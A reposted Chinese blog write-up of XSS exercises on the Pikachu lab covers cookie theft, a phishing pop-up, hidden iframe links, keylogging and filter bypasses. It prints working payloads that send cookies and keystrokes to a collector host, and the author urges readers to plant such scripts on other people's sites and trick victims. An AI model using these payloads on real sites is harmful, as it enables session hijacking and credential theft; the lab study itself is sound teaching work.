ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

xss靶场笔记

2021-12-22 23:06:26  阅读:369  来源: 互联网

标签:xss http pikachu 笔记 过滤 cookie 靶场 页面


XSS攻防解析

0x01. 平台搭建

依然是以最熟悉的pikachu平台来搭建我们的靶场环境

1. 安装

http://192.168.18.59:90/pikachu/pkxss/index.php

image-20201231132156451

image-20201231132221135image-20201231132243641

image-20201231132316376

image-20201231132326888

出现以上画面,pikachu xss后台即为安装成功,基本上是傻瓜式的,你别说你的不行

0x02. 截取cookie

修改cookie.php文件

image-20201231132958681

这个文件的功能是获取你当前用户的指纹信息,然后存到自己的数据库,最后跳转到首页,如果你想在别的网站上

窃取用户的cookie你就搞一个这样的api,同时把xss脚本写到别人的网站上,至于怎么隐藏xss脚本不被发现就看

你自己的本事了

获取cookie的xss脚本

'"><script>document.location = 'http://192.168.18.59:90/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

/#通过document.location 实例进行重定向到http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=
# document.location你可以认为是页面即将要发请求(加载)的地址
# document.cookie当前页面的cookie

简单显示

image-20201231134248478

回车之后会跳转到页面的首页,然后打开我们的后台,可以看到将当前的cookie给获取了

image-20201231134420219

0x03. 获取账号和密码

当你检测到那个页面有xss漏洞,你可以用抓包工具把请求抓下来,然后构造一个html页面,这里以pikachu中的

post.html分析

image-20201231143658263

这个html文件实现的功能是,首先有一个form表单,提交数据的方式是post,提交的地址是一个指定地址

表单中有一个input输入框,并且这个input框的value值,已经写死了,是一段获取cookie的xss脚本,紧接着是

一个submit提交的文本框,文件中还有一段js脚本,是当窗口页面加载完成就会触发的一个函数,函数的功能是

自动点击submit提交按钮,也就是说当你一打开这个页面,你当前的cookie就会被截获走

当一个用户登录了pikachu,但是你很想知道他的pikachu账号和密码,于是乎你写了一个post.html这样的一个

脚本 , 然后一番伪造用qq发个那个人 , 那个人一在地址栏访问 , 就会把cookie里面的账号和密码发到你的后台,

同时受害者一闪直接跳回pikachu首页 , 没有察觉到什么

http://192.168.18.59:90/pikachu/pkxss/xcookie/post.html

查看后台截获的密码

image-20201231141030926

0x04. 钓鱼

会在提交的页面上弹出一个浏览器端的用户验证,需要输入账号和密码,然后发送到指定的钓鱼网站

image-20201231143334094

在存储型xss中输入以下xss脚本

1111'"><script src="http://192.168.18.59:90/pikachu/pkxss/xfish/fish.php"></script>

当别人点击登录pikachu点击存储型xss的时候就会自动弹出这个对话框,如果已经输入过一次就不会弹出了

image-20201231144605543

查看后台钓鱼情况

image-20201231145009998

0x05. 挂马

也有的人称之为暗链,就是在当前页面挂一个别的网站的链接,一般都会隐藏起来,不让用户发现

每当这个页面加载就会偷偷加载木马页面

简单显示框架挂马

<iframe src="网马的地址" width="0" height="0" frameborder="0"></iframe>
222'">x <iframe src="https://www.baidu.com" width="500" height="5000" frameborder="0"></iframe>

image-20201231150308010

隐藏的话只需要把三个属性的值改为0即可

详细挂马教程请见 :https://blog.csdn.net/cdefu/article/details/4139192/

0x06. 键盘记录

在演示键盘记录前,你需要先掌握什么是跨域和浏览器同源策略

跨域

http://www.oldboyedu.com:80/news/index.php

协议 子域名 主域名 端口 资源地址

当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作

https://www.oldboyedu.com:80
http://www.oldboyedu.com:80

http://vip.oldboyedu.com:80
http://www.oldboyedu.com:80

http://www.oldboyedu.com:80
http://www.oldboyedu.com:82

以上且属于不在一个域里

同源策略

为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本

既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象

那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同

源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。

Tips:下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的

<script src="...">  //加载本地js执行
<img src="...">  //图片
<link href="...">  //css
<iframe src="...">  //任意资源

同源策略修改

D:\phpStudy\WWW\pikachu\pkxss\rkeypress\rkserver.php

同之前的案例到后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问。
					  接受     控制     允许     域

image-20201231151709084

修改文件

image-20201231152009689

监听键盘的xss脚本

<script src="http://192.168.18.59:90/pikachu/pkxss/rkeypress/rk.js"></script>

rk.js关键代码解读

image-20201231153221145

var realkey = String.fromCharCode(event.keyCode); //获取用户键盘记录,最后转化为字符串

xl+=realkey; //赋值给x1

show(); //调用show涵数,通过下面ajax进行post发送键盘记录人内容

简单演示

4444'"><script src="http://192.168.18.59:90/pikachu/pkxss/rkeypress/rk.js"></script>

image-20201231155914973

测试结果失败

image-20201231161845116

因为谷歌浏览器遵守了w3c规范在XMLHttpRequest不允许设置一些headers,他们会被浏览器自动设置

简单总结一下思路,网站允许跨域,然后js里面偷偷发ajax请求把键盘给记录下来

0x07. xss盲打

XSS盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意JS代码在类似留言板等输

入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时就会触发插入的

恶意代码,从而达到攻击者的目的。

就是攻击者在前端看不到xss攻击的结果,一般插获取cookies/账密的脚本 , 这里就用简单的弹窗演示

1111'"><script>alert(/xxx/)</script>

image-20201231162845196

管理员登录查看http://192.168.18.59:90/pikachu/vul/xss/xssblind/admin.php

image-20201231163020831

image-20201231163114548

xss漏洞可玩性很高的,一般你在可以输入内容的地方都可以把xss攻击写进去,然后搭建一个云服务平台,就写一

个获取cookie的接口,然后保存在数据库中,然后当捕捉到cookie就自动发一个邮件通知

0x08. xss过滤

'"><script>alert(666)</script> 

image-20201231163713384

点击提交,发现并没有弹窗,我们打开源代码看看怎么回事,在生产环境中你是看不到源代码的

C:\phpStudy\WWW\pikachu\vul\xss\xss_01.php

image-20201231164220948

发现在源码内部对message接收的数据进行了过滤 , 但是不是绝对的过滤 , 你可以用BP跑一下或者尝试一下其他

的xss攻击,xss攻击不代表只有script,编码啦等等很多,你要知道黑名单永远都是不完全的

image-20201231165044076

"><iframe src="javascRipt:alert(XSS)">

image-20201231165200081

0x09. xss绕过

大多数网站为了避免xss的攻击,对于攻击者的输入都采取了过滤的措施,导致攻击者通常不能正常插入恶意代码来达到攻击目的。但是仍存在一些漏洞可以利用,来绕过过滤措施。

xss绕过的方法有许多,主要取决于攻击者的思路和对前端技术的掌握,以下介绍几个简单的绕过方法。
  • 对前端的限制可以尝试进行抓包重发或者修改前端的HTML

  • 防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。

    例:<sCRipT>alert('你打篮球像oldboy')</sCrIPt>
    

    image-20201231165844064

  • 防止后台对输入的内容进行替换,采用拼凑的输入方法。

    例:<sc<script>ript>alert('你打篮球像oldboy')</scr<script>ipt>    # CTF中出现过这种绕过
    
  • 使用注释来干扰后台对输入内容的识别。

     例:<sc<!--test-->ript>alert('你打篮球像oldboy')</scr<!--tshauie-->ipt>
    
  • 编码

    思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入,浏览器对改编

    码进行识别时,会翻译成正常的代码。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的

    编码都是可以的,常见的有base64,html编码)

    <img src=x one rror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#121;&#97;&#110;&#103;&#115;&#104;&#117;&#97;&#110;&#103;&#39;&#41;"/>
    

    image-20201231170842007

  • 使用事件属性

    onerror(): <img src=# one rror="alert('oldboy')"/>
    

    image-20201231170737637

0x10. XSS之htmlspecialchars

该函数的语法:

htmlspecialchars(string,flags,character-set,double_encode)

过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函

默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单

引号

预定义的字符是:

 & (和号)成为 &amp
 " (双引号)成为 &quot
 ’ (单引号)成为&#039
 < (小于)成为 &lt
 >(大于)成为 &gt

可用的quotestyle类型

  • ENT_COMPAT - 默认仅编码双引号

  • ENT_QUOTES - 编码双引号和单引号

  • ENT_NOQUOTES - 不编码任何引号

'"><script>alert(666)</script> 

image-20201231171707754

没有弹窗,我们查看一下源码是否进行了htmlspecialchars编码

image-20201231171853530

果然是进行了实体编码,但是没有对单引号和双引号过滤而且接收的内容最后传入到了a标签的href属性中,我们

可以用事件进行xss攻击

q' onclick='alert("you are dsb")'

image-20201231172410891

0x11. xss之href

继续利用q' onclick='alert("you are dsb")'发现并没有弹窗,很有可能是在代码层面把单引号和双引号给过滤掉了

于是打开源码一探究竟

image-20201231172539172

$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";

果然对单引号和双引号进行了过滤 , 但是message的值最后传递给了a标签的href属性,于是我们可以利用href属

性进行弹窗

javascript:alert(666)

image-20201231173430325

0x12. xss之js

当我们把以上两种方法都测试以后,发现还是不能弹窗,这里就要考虑你输入的数据最终是跑到哪里输出了

考虑是不是在js里面,提交一个正常的查看网站源代码

image-20201231174041445

image-20201231174137750

解决方法:我们可以自己构建一个闭合原来的script标签,然后再拼接一个恶意的script标签

11'</script><script>alert(1111)</script> ;

image-20201231174346009

标签:xss,http,pikachu,笔记,过滤,cookie,靶场,页面
来源: https://www.cnblogs.com/xcymn/p/15721515.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有